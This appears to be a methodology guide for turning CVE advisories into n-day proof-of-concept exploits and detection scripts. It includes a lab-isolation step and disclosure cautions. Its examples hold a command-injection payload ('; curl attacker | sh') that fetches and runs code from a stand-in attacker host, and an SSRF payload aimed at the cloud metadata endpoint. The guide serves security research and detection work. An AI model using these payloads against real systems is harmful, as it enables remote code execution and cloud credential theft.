Developing N Day Exploits
Developing N-Day Exploits
Given a CVE advisory with no public PoC:
- Pull the vulnerable version and the patched version of the software.
- Diff the patch to find the exact code change (
git diff <vuln-tag> <patch-tag>). - Trace the vulnerable path backward from the diff to an attacker-controlled entry point.
- Rebuild the vulnerable version in an isolated lab (Docker/VM, no network egress).
- Write a minimal PoC that triggers the diffed code path.
- Confirm impact (RCE, auth bypass, etc.) and write a detection script.
Progress:
- Step 1: Collect advisory, CVE ID, affected version range, and patch commit/release
- Step 2: Obtain source for vulnerable and patched versions
- Step 3: Diff patch to isolate the exact fix (function, file, condition changed)
- Step 4: Trace code path from the diff to an entry point (HTTP route, CLI arg, file write, deserialization, etc.)
- Step 5: Build lab environment matching affected version exactly (same base image, deps, config)
- Step 6: Write minimal reproduction triggering the pre-patch behavior
- Step 7: Escalate repro into working exploit demonstrating real impact
- Step 8: Verify exploit fails against patched version (confirms root cause, not a side effect)
- Step 9: Write detection script (log signature, network indicator, or file artifact)
- Step 10: Document write path, deploy path, repro steps, and remediation
Step detail: Tracing the path
Separate the write path (where attacker-controlled data enters and gets persisted/processed) from the deploy/execution path (where that data later gets executed, rendered, or trusted). Most n-day RCEs in deployment tools follow this split — e.g., a config/template written during one request, executed during a later deploy/build step. Map both paths before touching the lab.
Step detail: Lab rebuild
- Pin exact versions (container digest, not just tag, if possible).
- Reproduce the full trust boundary (auth required? internal network only? role required?) — don't skip steps the real attacker would need.
- Keep the lab network-isolated; n-day PoCs are live exploits.
Example 1:
Input: CVE-2026-72867 — Dokploy advisory states "improper neutralization allowing command injection during deployment," patched in v0.24.1, no PoC.
Output: Diff shows a deploy-config field passed unsanitized into a shell command during the build step. Write path: authenticated user sets a malicious value in a project env/config field (stored, not validated). Deploy path: on docker build/compose trigger, Dokploy interpolates that field into a shell command without escaping. PoC: create project, set crafted env value with ; curl attacker | sh, trigger deploy, observe callback. Detection script: grep deploy logs for shell metacharacters in interpolated fields, or monitor outbound connections initiated by the build container.
Example 2:
Input: CVE advisory for a CMS plugin mentions "SSRF in webhook validation," patch diff adds a URL allowlist check.
Output: Trace shows webhook URL submitted via admin API, fetched server-side to "verify" it before saving — no allowlist pre-patch. PoC: submit http://169.254.169.254/latest/meta-data/ as webhook URL, observe cloud metadata returned in validation response. Detection: alert on outbound requests to link-local/metadata ranges originating from the webhook-validation service account.
- Always get the exploit to fail against the patched build — this proves you found the actual root cause, not a coincidental symptom.
- Prefer the smallest possible trigger (single request, single field) before building a weaponized chain.
- Write the detection script alongside the PoC, not after — you understand the signature best at the moment of discovery.
- Document trust boundaries required (auth level, network position) so the severity assessment is accurate, not inflated.
- Cite the advisory, patch commit, and affected versions precisely for reproducibility by others.
- Don't test against a differently-configured instance than the advisory describes — false negatives/positives both waste time.
- Don't skip the "fails on patched version" check — unverified PoCs get misattributed to the wrong vulnerability.
- Don't publish working exploits for unpatched CVEs affecting production systems without coordinated disclosure timelines.
- Don't conflate the write path and execution path in the writeup — readers need to know where input enters vs. where it detonates.